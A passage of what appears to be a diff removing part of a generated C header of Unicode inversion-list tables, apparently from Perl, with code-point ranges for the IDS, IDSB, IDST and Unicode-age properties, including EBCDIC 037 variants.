0x1EEAB, - 0x1EEBC, - 0x20000, - 0x2A6D7, - 0x2A700, - 0x2B735, - 0x2B740, - 0x2B81E, - 0x2B820, - 0x2CEA2, - 0x2CEB0, - 0x2EBE1, - 0x2F800, - 0x2FA1E -}; - -# endif /* EBCDIC 1047 */ - -# if 'A' == 193 /* EBCDIC 037 */ \ - && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \ - && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ - && '$' == 91 && '@' == 124 && '`' == 121 - -static const UV PL_IDS_invlist[] = { /* for EBCDIC 037 */ - 1193, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x42, - 0x4A, - 0x51, - 0x5A, - 0x62, - 0x6A, - 0x70, - 0x79, - 0x80, - 0x8A, - 0x8C, - 0x8F, - 0x91, - 0x9D, - 0x9E, - 0x9F, - 0xA0, - 0xA1, - 0xA2, - 0xAA, - 0xAC, - 0xAF, - 0xC1, - 0xCA, - 0xCB, - 0xD0, - 0xD1, - 0xDA, - 0xDB, - 0xE0, - 0xE2, - 0xEA, - 0xEB, - 0xF0, - 0xFB, - 0xFF, - 0x100, - 0x2C2, - 0x2C6, - 0x2D2, - 0x2E0, - 0x2E5, - 0x2EC, - 0x2ED, - 0x2EE, - 0x2EF, - 0x370, - 0x375, - 0x376, - 0x378, - 0x37A, - 0x37E, - 0x37F, - 0x380, - 0x386, - 0x387, - 0x388, - 0x38B, - 0x38C, - 0x38D, - 0x38E, - 0x3A2, - 0x3A3, - 0x3F6, - 0x3F7, - 0x482, - 0x48A, - 0x530, - 0x531, - 0x557, - 0x559, - 0x55A, - 0x561, - 0x588, - 0x5D0, - 0x5EB, - 0x5F0, - 0x5F3, - 0x620, - 0x64B, - 0x66E, - 0x670, - 0x671, - 0x6D4, - 0x6D5, - 0x6D6, - 0x6E5, - 0x6E7, - 0x6EE, - 0x6F0, - 0x6FA, - 0x6FD, - 0x6FF, - 0x700, - 0x710, - 0x711, - 0x712, - 0x730, - 0x74D, - 0x7A6, - 0x7B1, - 0x7B2, - 0x7CA, - 0x7EB, - 0x7F4, - 0x7F6, - 0x7FA, - 0x7FB, - 0x800, - 0x816, - 0x81A, - 0x81B, - 0x824, - 0x825, - 0x828, - 0x829, - 0x840, - 0x859, - 0x860, - 0x86B, - 0x8A0, - 0x8B5, - 0x8B6, - 0x8BE, - 0x904, - 0x93A, - 0x93D, - 0x93E, - 0x950, - 0x951, - 0x958, - 0x962, - 0x971, - 0x981, - 0x985, - 0x98D, - 0x98F, - 0x991, - 0x993, - 0x9A9, - 0x9AA, - 0x9B1, - 0x9B2, - 0x9B3, - 0x9B6, - 0x9BA, - 0x9BD, - 0x9BE, - 0x9CE, - 0x9CF, - 0x9DC, - 0x9DE, - 0x9DF, - 0x9E2, - 0x9F0, - 0x9F2, - 0x9FC, - 0x9FD, - 0xA05, - 0xA0B, - 0xA0F, - 0xA11, - 0xA13, - 0xA29, - 0xA2A, - 0xA31, - 0xA32, - 0xA34, - 0xA35, - 0xA37, - 0xA38, - 0xA3A, - 0xA59, - 0xA5D, - 0xA5E, - 0xA5F, - 0xA72, - 0xA75, - 0xA85, - 0xA8E, - 0xA8F, - 0xA92, - 0xA93, - 0xAA9, - 0xAAA, - 0xAB1, - 0xAB2, - 0xAB4, - 0xAB5, - 0xABA, - 0xABD, - 0xABE, - 0xAD0, - 0xAD1, - 0xAE0, - 0xAE2, - 0xAF9, - 0xAFA, - 0xB05, - 0xB0D, - 0xB0F, - 0xB11, - 0xB13, - 0xB29, - 0xB2A, - 0xB31, - 0xB32, - 0xB34, - 0xB35, - 0xB3A, - 0xB3D, - 0xB3E, - 0xB5C, - 0xB5E, - 0xB5F, - 0xB62, - 0xB71, - 0xB72, - 0xB83, - 0xB84, - 0xB85, - 0xB8B, - 0xB8E, - 0xB91, - 0xB92, - 0xB96, - 0xB99, - 0xB9B, - 0xB9C, - 0xB9D, - 0xB9E, - 0xBA0, - 0xBA3, - 0xBA5, - 0xBA8, - 0xBAB, - 0xBAE, - 0xBBA, - 0xBD0, - 0xBD1, - 0xC05, - 0xC0D, - 0xC0E, - 0xC11, - 0xC12, - 0xC29, - 0xC2A, - 0xC3A, - 0xC3D, - 0xC3E, - 0xC58, - 0xC5B, - 0xC60, - 0xC62, - 0xC80, - 0xC81, - 0xC85, - 0xC8D, - 0xC8E, - 0xC91, - 0xC92, - 0xCA9, - 0xCAA, - 0xCB4, - 0xCB5, - 0xCBA, - 0xCBD, - 0xCBE, - 0xCDE, - 0xCDF, - 0xCE0, - 0xCE2, - 0xCF1, - 0xCF3, - 0xD05, - 0xD0D, - 0xD0E, - 0xD11, - 0xD12, - 0xD3B, - 0xD3D, - 0xD3E, - 0xD4E, - 0xD4F, - 0xD54, - 0xD57, - 0xD5F, - 0xD62, - 0xD7A, - 0xD80, - 0xD85, - 0xD97, - 0xD9A, - 0xDB2, - 0xDB3, - 0xDBC, - 0xDBD, - 0xDBE, - 0xDC0, - 0xDC7, - 0xE01, - 0xE31, - 0xE32, - 0xE34, - 0xE40, - 0xE47, - 0xE81, - 0xE83, - 0xE84, - 0xE85, - 0xE87, - 0xE89, - 0xE8A, - 0xE8B, - 0xE8D, - 0xE8E, - 0xE94, - 0xE98, - 0xE99, - 0xEA0, - 0xEA1, - 0xEA4, - 0xEA5, - 0xEA6, - 0xEA7, - 0xEA8, - 0xEAA, - 0xEAC, - 0xEAD, - 0xEB1, - 0xEB2, - 0xEB4, - 0xEBD, - 0xEBE, - 0xEC0, - 0xEC5, - 0xEC6, - 0xEC7, - 0xEDC, - 0xEE0, - 0xF00, - 0xF01, - 0xF40, - 0xF48, - 0xF49, - 0xF6D, - 0xF88, - 0xF8D, - 0x1000, - 0x102B, - 0x103F, - 0x1040, - 0x1050, - 0x1056, - 0x105A, - 0x105E, - 0x1061, - 0x1062, - 0x1065, - 0x1067, - 0x106E, - 0x1071, - 0x1075, - 0x1082, - 0x108E, - 0x108F, - 0x10A0, - 0x10C6, - 0x10C7, - 0x10C8, - 0x10CD, - 0x10CE, - 0x10D0, - 0x10FB, - 0x10FC, - 0x1249, - 0x124A, - 0x124E, - 0x1250, - 0x1257, - 0x1258, - 0x1259, - 0x125A, - 0x125E, - 0x1260, - 0x1289, - 0x128A, - 0x128E, - 0x1290, - 0x12B1, - 0x12B2, - 0x12B6, - 0x12B8, - 0x12BF, - 0x12C0, - 0x12C1, - 0x12C2, - 0x12C6, - 0x12C8, - 0x12D7, - 0x12D8, - 0x1311, - 0x1312, - 0x1316, - 0x1318, - 0x135B, - 0x1380, - 0x1390, - 0x13A0, - 0x13F6, - 0x13F8, - 0x13FE, - 0x1401, - 0x166D, - 0x166F, - 0x1680, - 0x1681, - 0x169B, - 0x16A0, - 0x16EB, - 0x16EE, - 0x16F9, - 0x1700, - 0x170D, - 0x170E, - 0x1712, - 0x1720, - 0x1732, - 0x1740, - 0x1752, - 0x1760, - 0x176D, - 0x176E, - 0x1771, - 0x1780, - 0x17B4, - 0x17D7, - 0x17D8, - 0x17DC, - 0x17DD, - 0x1820, - 0x1878, - 0x1880, - 0x18A9, - 0x18AA, - 0x18AB, - 0x18B0, - 0x18F6, - 0x1900, - 0x191F, - 0x1950, - 0x196E, - 0x1970, - 0x1975, - 0x1980, - 0x19AC, - 0x19B0, - 0x19CA, - 0x1A00, - 0x1A17, - 0x1A20, - 0x1A55, - 0x1AA7, - 0x1AA8, - 0x1B05, - 0x1B34, - 0x1B45, - 0x1B4C, - 0x1B83, - 0x1BA1, - 0x1BAE, - 0x1BB0, - 0x1BBA, - 0x1BE6, - 0x1C00, - 0x1C24, - 0x1C4D, - 0x1C50, - 0x1C5A, - 0x1C7E, - 0x1C80, - 0x1C89, - 0x1CE9, - 0x1CED, - 0x1CEE, - 0x1CF2, - 0x1CF5, - 0x1CF7, - 0x1D00, - 0x1DC0, - 0x1E00, - 0x1F16, - 0x1F18, - 0x1F1E, - 0x1F20, - 0x1F46, - 0x1F48, - 0x1F4E, - 0x1F50, - 0x1F58, - 0x1F59, - 0x1F5A, - 0x1F5B, - 0x1F5C, - 0x1F5D, - 0x1F5E, - 0x1F5F, - 0x1F7E, - 0x1F80, - 0x1FB5, - 0x1FB6, - 0x1FBD, - 0x1FBE, - 0x1FBF, - 0x1FC2, - 0x1FC5, - 0x1FC6, - 0x1FCD, - 0x1FD0, - 0x1FD4, - 0x1FD6, - 0x1FDC, - 0x1FE0, - 0x1FED, - 0x1FF2, - 0x1FF5, - 0x1FF6, - 0x1FFD, - 0x2071, - 0x2072, - 0x207F, - 0x2080, - 0x2090, - 0x209D, - 0x2102, - 0x2103, - 0x2107, - 0x2108, - 0x210A, - 0x2114, - 0x2115, - 0x2116, - 0x2118, - 0x211E, - 0x2124, - 0x2125, - 0x2126, - 0x2127, - 0x2128, - 0x2129, - 0x212A, - 0x213A, - 0x213C, - 0x2140, - 0x2145, - 0x214A, - 0x214E, - 0x214F, - 0x2160, - 0x2189, - 0x2C00, - 0x2C2F, - 0x2C30, - 0x2C5F, - 0x2C60, - 0x2CE5, - 0x2CEB, - 0x2CEF, - 0x2CF2, - 0x2CF4, - 0x2D00, - 0x2D26, - 0x2D27, - 0x2D28, - 0x2D2D, - 0x2D2E, - 0x2D30, - 0x2D68, - 0x2D6F, - 0x2D70, - 0x2D80, - 0x2D97, - 0x2DA0, - 0x2DA7, - 0x2DA8, - 0x2DAF, - 0x2DB0, - 0x2DB7, - 0x2DB8, - 0x2DBF, - 0x2DC0, - 0x2DC7, - 0x2DC8, - 0x2DCF, - 0x2DD0, - 0x2DD7, - 0x2DD8, - 0x2DDF, - 0x3005, - 0x3008, - 0x3021, - 0x302A, - 0x3031, - 0x3036, - 0x3038, - 0x303D, - 0x3041, - 0x3097, - 0x309B, - 0x30A0, - 0x30A1, - 0x30FB, - 0x30FC, - 0x3100, - 0x3105, - 0x312F, - 0x3131, - 0x318F, - 0x31A0, - 0x31BB, - 0x31F0, - 0x3200, - 0x3400, - 0x4DB6, - 0x4E00, - 0x9FEB, - 0xA000, - 0xA48D, - 0xA4D0, - 0xA4FE, - 0xA500, - 0xA60D, - 0xA610, - 0xA620, - 0xA62A, - 0xA62C, - 0xA640, - 0xA66F, - 0xA67F, - 0xA69E, - 0xA6A0, - 0xA6F0, - 0xA717, - 0xA720, - 0xA722, - 0xA789, - 0xA78B, - 0xA7AF, - 0xA7B0, - 0xA7B8, - 0xA7F7, - 0xA802, - 0xA803, - 0xA806, - 0xA807, - 0xA80B, - 0xA80C, - 0xA823, - 0xA840, - 0xA874, - 0xA882, - 0xA8B4, - 0xA8F2, - 0xA8F8, - 0xA8FB, - 0xA8FC, - 0xA8FD, - 0xA8FE, - 0xA90A, - 0xA926, - 0xA930, - 0xA947, - 0xA960, - 0xA97D, - 0xA984, - 0xA9B3, - 0xA9CF, - 0xA9D0, - 0xA9E0, - 0xA9E5, - 0xA9E6, - 0xA9F0, - 0xA9FA, - 0xA9FF, - 0xAA00, - 0xAA29, - 0xAA40, - 0xAA43, - 0xAA44, - 0xAA4C, - 0xAA60, - 0xAA77, - 0xAA7A, - 0xAA7B, - 0xAA7E, - 0xAAB0, - 0xAAB1, - 0xAAB2, - 0xAAB5, - 0xAAB7, - 0xAAB9, - 0xAABE, - 0xAAC0, - 0xAAC1, - 0xAAC2, - 0xAAC3, - 0xAADB, - 0xAADE, - 0xAAE0, - 0xAAEB, - 0xAAF2, - 0xAAF5, - 0xAB01, - 0xAB07, - 0xAB09, - 0xAB0F, - 0xAB11, - 0xAB17, - 0xAB20, - 0xAB27, - 0xAB28, - 0xAB2F, - 0xAB30, - 0xAB5B, - 0xAB5C, - 0xAB66, - 0xAB70, - 0xABE3, - 0xAC00, - 0xD7A4, - 0xD7B0, - 0xD7C7, - 0xD7CB, - 0xD7FC, - 0xF900, - 0xFA6E, - 0xFA70, - 0xFADA, - 0xFB00, - 0xFB07, - 0xFB13, - 0xFB18, - 0xFB1D, - 0xFB1E, - 0xFB1F, - 0xFB29, - 0xFB2A, - 0xFB37, - 0xFB38, - 0xFB3D, - 0xFB3E, - 0xFB3F, - 0xFB40, - 0xFB42, - 0xFB43, - 0xFB45, - 0xFB46, - 0xFBB2, - 0xFBD3, - 0xFD3E, - 0xFD50, - 0xFD90, - 0xFD92, - 0xFDC8, - 0xFDF0, - 0xFDFC, - 0xFE70, - 0xFE75, - 0xFE76, - 0xFEFD, - 0xFF21, - 0xFF3B, - 0xFF41, - 0xFF5B, - 0xFF66, - 0xFFBF, - 0xFFC2, - 0xFFC8, - 0xFFCA, - 0xFFD0, - 0xFFD2, - 0xFFD8, - 0xFFDA, - 0xFFDD, - 0x10000, - 0x1000C, - 0x1000D, - 0x10027, - 0x10028, - 0x1003B, - 0x1003C, - 0x1003E, - 0x1003F, - 0x1004E, - 0x10050, - 0x1005E, - 0x10080, - 0x100FB, - 0x10140, - 0x10175, - 0x10280, - 0x1029D, - 0x102A0, - 0x102D1, - 0x10300, - 0x10320, - 0x1032D, - 0x1034B, - 0x10350, - 0x10376, - 0x10380, - 0x1039E, - 0x103A0, - 0x103C4, - 0x103C8, - 0x103D0, - 0x103D1, - 0x103D6, - 0x10400, - 0x1049E, - 0x104B0, - 0x104D4, - 0x104D8, - 0x104FC, - 0x10500, - 0x10528, - 0x10530, - 0x10564, - 0x10600, - 0x10737, - 0x10740, - 0x10756, - 0x10760, - 0x10768, - 0x10800, - 0x10806, - 0x10808, - 0x10809, - 0x1080A, - 0x10836, - 0x10837, - 0x10839, - 0x1083C, - 0x1083D, - 0x1083F, - 0x10856, - 0x10860, - 0x10877, - 0x10880, - 0x1089F, - 0x108E0, - 0x108F3, - 0x108F4, - 0x108F6, - 0x10900, - 0x10916, - 0x10920, - 0x1093A, - 0x10980, - 0x109B8, - 0x109BE, - 0x109C0, - 0x10A00, - 0x10A01, - 0x10A10, - 0x10A14, - 0x10A15, - 0x10A18, - 0x10A19, - 0x10A34, - 0x10A60, - 0x10A7D, - 0x10A80, - 0x10A9D, - 0x10AC0, - 0x10AC8, - 0x10AC9, - 0x10AE5, - 0x10B00, - 0x10B36, - 0x10B40, - 0x10B56, - 0x10B60, - 0x10B73, - 0x10B80, - 0x10B92, - 0x10C00, - 0x10C49, - 0x10C80, - 0x10CB3, - 0x10CC0, - 0x10CF3, - 0x11003, - 0x11038, - 0x11083, - 0x110B0, - 0x110D0, - 0x110E9, - 0x11103, - 0x11127, - 0x11150, - 0x11173, - 0x11176, - 0x11177, - 0x11183, - 0x111B3, - 0x111C1, - 0x111C5, - 0x111DA, - 0x111DB, - 0x111DC, - 0x111DD, - 0x11200, - 0x11212, - 0x11213, - 0x1122C, - 0x11280, - 0x11287, - 0x11288, - 0x11289, - 0x1128A, - 0x1128E, - 0x1128F, - 0x1129E, - 0x1129F, - 0x112A9, - 0x112B0, - 0x112DF, - 0x11305, - 0x1130D, - 0x1130F, - 0x11311, - 0x11313, - 0x11329, - 0x1132A, - 0x11331, - 0x11332, - 0x11334, - 0x11335, - 0x1133A, - 0x1133D, - 0x1133E, - 0x11350, - 0x11351, - 0x1135D, - 0x11362, - 0x11400, - 0x11435, - 0x11447, - 0x1144B, - 0x11480, - 0x114B0, - 0x114C4, - 0x114C6, - 0x114C7, - 0x114C8, - 0x11580, - 0x115AF, - 0x115D8, - 0x115DC, - 0x11600, - 0x11630, - 0x11644, - 0x11645, - 0x11680, - 0x116AB, - 0x11700, - 0x1171A, - 0x118A0, - 0x118E0, - 0x118FF, - 0x11900, - 0x11A00, - 0x11A01, - 0x11A0B, - 0x11A33, - 0x11A3A, - 0x11A3B, - 0x11A50, - 0x11A51, - 0x11A5C, - 0x11A84, - 0x11A86, - 0x11A8A, - 0x11AC0, - 0x11AF9, - 0x11C00, - 0x11C09, - 0x11C0A, - 0x11C2F, - 0x11C40, - 0x11C41, - 0x11C72, - 0x11C90, - 0x11D00, - 0x11D07, - 0x11D08, - 0x11D0A, - 0x11D0B, - 0x11D31, - 0x11D46, - 0x11D47, - 0x12000, - 0x1239A, - 0x12400, - 0x1246F, - 0x12480, - 0x12544, - 0x13000, - 0x1342F, - 0x14400, - 0x14647, - 0x16800, - 0x16A39, - 0x16A40, - 0x16A5F, - 0x16AD0, - 0x16AEE, - 0x16B00, - 0x16B30, - 0x16B40, - 0x16B44, - 0x16B63, - 0x16B78, - 0x16B7D, - 0x16B90, - 0x16F00, - 0x16F45, - 0x16F50, - 0x16F51, - 0x16F93, - 0x16FA0, - 0x16FE0, - 0x16FE2, - 0x17000, - 0x187ED, - 0x18800, - 0x18AF3, - 0x1B000, - 0x1B11F, - 0x1B170, - 0x1B2FC, - 0x1BC00, - 0x1BC6B, - 0x1BC70, - 0x1BC7D, - 0x1BC80, - 0x1BC89, - 0x1BC90, - 0x1BC9A, - 0x1D400, - 0x1D455, - 0x1D456, - 0x1D49D, - 0x1D49E, - 0x1D4A0, - 0x1D4A2, - 0x1D4A3, - 0x1D4A5, - 0x1D4A7, - 0x1D4A9, - 0x1D4AD, - 0x1D4AE, - 0x1D4BA, - 0x1D4BB, - 0x1D4BC, - 0x1D4BD, - 0x1D4C4, - 0x1D4C5, - 0x1D506, - 0x1D507, - 0x1D50B, - 0x1D50D, - 0x1D515, - 0x1D516, - 0x1D51D, - 0x1D51E, - 0x1D53A, - 0x1D53B, - 0x1D53F, - 0x1D540, - 0x1D545, - 0x1D546, - 0x1D547, - 0x1D54A, - 0x1D551, - 0x1D552, - 0x1D6A6, - 0x1D6A8, - 0x1D6C1, - 0x1D6C2, - 0x1D6DB, - 0x1D6DC, - 0x1D6FB, - 0x1D6FC, - 0x1D715, - 0x1D716, - 0x1D735, - 0x1D736, - 0x1D74F, - 0x1D750, - 0x1D76F, - 0x1D770, - 0x1D789, - 0x1D78A, - 0x1D7A9, - 0x1D7AA, - 0x1D7C3, - 0x1D7C4, - 0x1D7CC, - 0x1E800, - 0x1E8C5, - 0x1E900, - 0x1E944, - 0x1EE00, - 0x1EE04, - 0x1EE05, - 0x1EE20, - 0x1EE21, - 0x1EE23, - 0x1EE24, - 0x1EE25, - 0x1EE27, - 0x1EE28, - 0x1EE29, - 0x1EE33, - 0x1EE34, - 0x1EE38, - 0x1EE39, - 0x1EE3A, - 0x1EE3B, - 0x1EE3C, - 0x1EE42, - 0x1EE43, - 0x1EE47, - 0x1EE48, - 0x1EE49, - 0x1EE4A, - 0x1EE4B, - 0x1EE4C, - 0x1EE4D, - 0x1EE50, - 0x1EE51, - 0x1EE53, - 0x1EE54, - 0x1EE55, - 0x1EE57, - 0x1EE58, - 0x1EE59, - 0x1EE5A, - 0x1EE5B, - 0x1EE5C, - 0x1EE5D, - 0x1EE5E, - 0x1EE5F, - 0x1EE60, - 0x1EE61, - 0x1EE63, - 0x1EE64, - 0x1EE65, - 0x1EE67, - 0x1EE6B, - 0x1EE6C, - 0x1EE73, - 0x1EE74, - 0x1EE78, - 0x1EE79, - 0x1EE7D, - 0x1EE7E, - 0x1EE7F, - 0x1EE80, - 0x1EE8A, - 0x1EE8B, - 0x1EE9C, - 0x1EEA1, - 0x1EEA4, - 0x1EEA5, - 0x1EEAA, - 0x1EEAB, - 0x1EEBC, - 0x20000, - 0x2A6D7, - 0x2A700, - 0x2B735, - 0x2B740, - 0x2B81E, - 0x2B820, - 0x2CEA2, - 0x2CEB0, - 0x2EBE1, - 0x2F800, - 0x2FA1E -}; - -# endif /* EBCDIC 037 */ - -static const UV PL_IDSB_invlist[] = { /* for all charsets */ - 5, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x2FF0, - 0x2FF2, - 0x2FF4, - 0x2FFC -}; - -static const UV PL_IDST_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x2FF2, - 0x2FF4 -}; - -static const UV PL_IN__1_DOT_1_invlist[] = { /* for all charsets */ - 576, /* Number of elements */ - 148565664, /* Version and data structure type */ - 0, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x1F6, - 0x1FA, - 0x218, - 0x250, - 0x2A9, - 0x2B0, - 0x2DF, - 0x2E0, - 0x2EA, - 0x300, - 0x346, - 0x360, - 0x362, - 0x374, - 0x376, - 0x37A, - 0x37B, - 0x37E, - 0x37F, - 0x384, - 0x38B, - 0x38C, - 0x38D, - 0x38E, - 0x3A2, - 0x3A3, - 0x3CF, - 0x3D0, - 0x3D7, - 0x3DA, - 0x3DB, - 0x3DC, - 0x3DD, - 0x3DE, - 0x3DF, - 0x3E0, - 0x3E1, - 0x3E2, - 0x3F4, - 0x401, - 0x40D, - 0x40E, - 0x450, - 0x451, - 0x45D, - 0x45E, - 0x487, - 0x490, - 0x4C5, - 0x4C7, - 0x4C9, - 0x4CB, - 0x4CD, - 0x4D0, - 0x4EC, - 0x4EE, - 0x4F6, - 0x4F8, - 0x4FA, - 0x531, - 0x557, - 0x559, - 0x560, - 0x561, - 0x588, - 0x589, - 0x58A, - 0x5B0, - 0x5BA, - 0x5BB, - 0x5C4, - 0x5D0, - 0x5EB, - 0x5F0, - 0x5F5, - 0x60C, - 0x60D, - 0x61B, - 0x61C, - 0x61F, - 0x620, - 0x621, - 0x63B, - 0x640, - 0x653, - 0x660, - 0x66E, - 0x670, - 0x6B8, - 0x6BA, - 0x6BF, - 0x6C0, - 0x6CF, - 0x6D0, - 0x6EE, - 0x6F0, - 0x6FA, - 0x901, - 0x904, - 0x905, - 0x93A, - 0x93C, - 0x94E, - 0x950, - 0x955, - 0x958, - 0x971, - 0x981, - 0x984, - 0x985, - 0x98D, - 0x98F, - 0x991, - 0x993, - 0x9A9, - 0x9AA, - 0x9B1, - 0x9B2, - 0x9B3, - 0x9B6, - 0x9BA, - 0x9BC, - 0x9BD, - 0x9BE, - 0x9C5, - 0x9C7, - 0x9C9, - 0x9CB, - 0x9CE, - 0x9D7, - 0x9D8, - 0x9DC, - 0x9DE, - 0x9DF, - 0x9E4, - 0x9E6, - 0x9FB, - 0xA02, - 0xA03, - 0xA05, - 0xA0B, - 0xA0F, - 0xA11, - 0xA13, - 0xA29, - 0xA2A, - 0xA31, - 0xA32, - 0xA34, - 0xA35, - 0xA37, - 0xA38, - 0xA3A, - 0xA3C, - 0xA3D, - 0xA3E, - 0xA43, - 0xA47, - 0xA49, - 0xA4B, - 0xA4E, - 0xA59, - 0xA5D, - 0xA5E, - 0xA5F, - 0xA66, - 0xA75, - 0xA81, - 0xA84, - 0xA85, - 0xA8C, - 0xA8D, - 0xA8E, - 0xA8F, - 0xA92, - 0xA93, - 0xAA9, - 0xAAA, - 0xAB1, - 0xAB2, - 0xAB4, - 0xAB5, - 0xABA, - 0xABC, - 0xAC6, - 0xAC7, - 0xACA, - 0xACB, - 0xACE, - 0xAD0, - 0xAD1, - 0xAE0, - 0xAE1, - 0xAE6, - 0xAF0, - 0xB01, - 0xB04, - 0xB05, - 0xB0D, - 0xB0F, - 0xB11, - 0xB13, - 0xB29, - 0xB2A, - 0xB31, - 0xB32, - 0xB34, - 0xB36, - 0xB3A, - 0xB3C, - 0xB44, - 0xB47, - 0xB49, - 0xB4B, - 0xB4E, - 0xB56, - 0xB58, - 0xB5C, - 0xB5E, - 0xB5F, - 0xB62, - 0xB66, - 0xB71, - 0xB82, - 0xB84, - 0xB85, - 0xB8B, - 0xB8E, - 0xB91, - 0xB92, - 0xB96, - 0xB99, - 0xB9B, - 0xB9C, - 0xB9D, - 0xB9E, - 0xBA0, - 0xBA3, - 0xBA5, - 0xBA8, - 0xBAB, - 0xBAE, - 0xBB6, - 0xBB7, - 0xBBA, - 0xBBE, - 0xBC3, - 0xBC6, - 0xBC9, - 0xBCA, - 0xBCE, - 0xBD7, - 0xBD8, - 0xBE7, - 0xBF3, - 0xC01, - 0xC04, - 0xC05, - 0xC0D, - 0xC0E, - 0xC11, - 0xC12, - 0xC29, - 0xC2A, - 0xC34, - 0xC35, - 0xC3A, - 0xC3E, - 0xC45, - 0xC46, - 0xC49, - 0xC4A, - 0xC4E, - 0xC55, - 0xC57, - 0xC60, - 0xC62, - 0xC66, - 0xC70, - 0xC82, - 0xC84, - 0xC85, - 0xC8D, - 0xC8E, - 0xC91, - 0xC92, - 0xCA9, - 0xCAA, - 0xCB4, - 0xCB5, - 0xCBA, - 0xCBE, - 0xCC5, - 0xCC6, - 0xCC9, - 0xCCA, - 0xCCE, - 0xCD5, - 0xCD7, - 0xCDE, - 0xCDF, - 0xCE0, - 0xCE2, - 0xCE6, - 0xCF0, - 0xD02, - 0xD04, - 0xD05, - 0xD0D, - 0xD0E, - 0xD11, - 0xD12, - 0xD29, - 0xD2A, - 0xD3A, - 0xD3E, - 0xD44, - 0xD46, - 0xD49, - 0xD4A, - 0xD4E, - 0xD57, - 0xD58, - 0xD60, - 0xD62, - 0xD66, - 0xD70, - 0xE01, - 0xE3B, - 0xE3F, - 0xE5C, - 0xE81, - 0xE83, - 0xE84, - 0xE85, - 0xE87, - 0xE89, - 0xE8A, - 0xE8B, - 0xE8D, - 0xE8E, - 0xE94, - 0xE98, - 0xE99, - 0xEA0, - 0xEA1, - 0xEA4, - 0xEA5, - 0xEA6, - 0xEA7, - 0xEA8, - 0xEAA, - 0xEAC, - 0xEAD, - 0xEBA, - 0xEBB, - 0xEBE, - 0xEC0, - 0xEC5, - 0xEC6, - 0xEC7, - 0xEC8, - 0xECE, - 0xED0, - 0xEDA, - 0xEDC, - 0xEDE, - 0x10A0, - 0x10C6, - 0x10D0, - 0x10F7, - 0x10FB, - 0x10FC, - 0x1100, - 0x115A, - 0x115F, - 0x11A3, - 0x11A8, - 0x11FA, - 0x1E00, - 0x1E9B, - 0x1EA0, - 0x1EFA, - 0x1F00, - 0x1F16, - 0x1F18, - 0x1F1E, - 0x1F20, - 0x1F46, - 0x1F48, - 0x1F4E, - 0x1F50, - 0x1F58, - 0x1F59, - 0x1F5A, - 0x1F5B, - 0x1F5C, - 0x1F5D, - 0x1F5E, - 0x1F5F, - 0x1F7E, - 0x1F80, - 0x1FB5, - 0x1FB6, - 0x1FC5, - 0x1FC6, - 0x1FD4, - 0x1FD6, - 0x1FDC, - 0x1FDD, - 0x1FF0, - 0x1FF2, - 0x1FF5, - 0x1FF6, - 0x1FFF, - 0x2000, - 0x202F, - 0x2030, - 0x2047, - 0x206A, - 0x2071, - 0x2074, - 0x208F, - 0x20A0, - 0x20AB, - 0x20D0, - 0x20E2, - 0x2100, - 0x2139, - 0x2153, - 0x2183, - 0x2190, - 0x21EB, - 0x2200, - 0x22F2, - 0x2300, - 0x2301, - 0x2302, - 0x237B, - 0x2400, - 0x2425, - 0x2440, - 0x244B, - 0x2460, - 0x24EB, - 0x2500, - 0x2596, - 0x25A0, - 0x25F0, - 0x2600, - 0x2614, - 0x261A, - 0x2670, - 0x2701, - 0x2705, - 0x2706, - 0x270A, - 0x270C, - 0x2728, - 0x2729, - 0x274C, - 0x274D, - 0x274E, - 0x274F, - 0x2753, - 0x2756, - 0x2757, - 0x2758, - 0x275F, - 0x2761, - 0x2768, - 0x2776, - 0x2795, - 0x2798, - 0x27B0, - 0x27B1, - 0x27BF, - 0x3000, - 0x3038, - 0x303F, - 0x3040, - 0x3041, - 0x3095, - 0x3099, - 0x309F, - 0x30A1, - 0x30FF, - 0x3105, - 0x312D, - 0x3131, - 0x318F, - 0x3190, - 0x31A0, - 0x3200, - 0x321D, - 0x3220, - 0x3244, - 0x3260, - 0x327C, - 0x327F, - 0x32B1, - 0x32C0, - 0x32CC, - 0x32D0, - 0x32FF, - 0x3300, - 0x3377, - 0x337B, - 0x33DE, - 0x33E0, - 0x33FF, - 0x4E00, - 0x9FA6, - 0xE000, - 0xFA2E, - 0xFB00, - 0xFB07, - 0xFB13, - 0xFB18, - 0xFB1E, - 0xFB37, - 0xFB38, - 0xFB3D, - 0xFB3E, - 0xFB3F, - 0xFB40, - 0xFB42, - 0xFB43, - 0xFB45, - 0xFB46, - 0xFBB2, - 0xFBD3, - 0xFD40, - 0xFD50, - 0xFD90, - 0xFD92, - 0xFDC8, - 0xFDF0, - 0xFDFC, - 0xFE20, - 0xFE24, - 0xFE30, - 0xFE45, - 0xFE49, - 0xFE53, - 0xFE54, - 0xFE67, - 0xFE68, - 0xFE6C, - 0xFE70, - 0xFE73, - 0xFE74, - 0xFE75, - 0xFE76, - 0xFEFD, - 0xFEFF, - 0xFF00, - 0xFF01, - 0xFF5F, - 0xFF61, - 0xFFBF, - 0xFFC2, - 0xFFC8, - 0xFFCA, - 0xFFD0, - 0xFFD2, - 0xFFD8, - 0xFFDA, - 0xFFDD, - 0xFFE0, - 0xFFE7, - 0xFFE8, - 0xFFEF, - 0xFFFD, - 0x10000 -}; - -static const UV PL_IN__10_invlist[] = { /* for all charsets */ - 1318, /* Number of elements */ - 148565664, /* Version and data structure type */ - 0, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x378, - 0x37A, - 0x380, - 0x384, - 0x38B, - 0x38C, - 0x38D, - 0x38E, - 0x3A2, - 0x3A3, - 0x530, - 0x531, - 0x557, - 0x559, - 0x560, - 0x561, - 0x588, - 0x589, - 0x58B, - 0x58D, - 0x590, - 0x591, - 0x5C8, - 0x5D0, - 0x5EB, - 0x5F0, - 0x5F5, - 0x600, - 0x61D, - 0x61E, - 0x70E, - 0x70F, - 0x74B, - 0x74D, - 0x7B2, - 0x7C0, - 0x7FB, - 0x800, - 0x82E, - 0x830, - 0x83F, - 0x840, - 0x85C, - 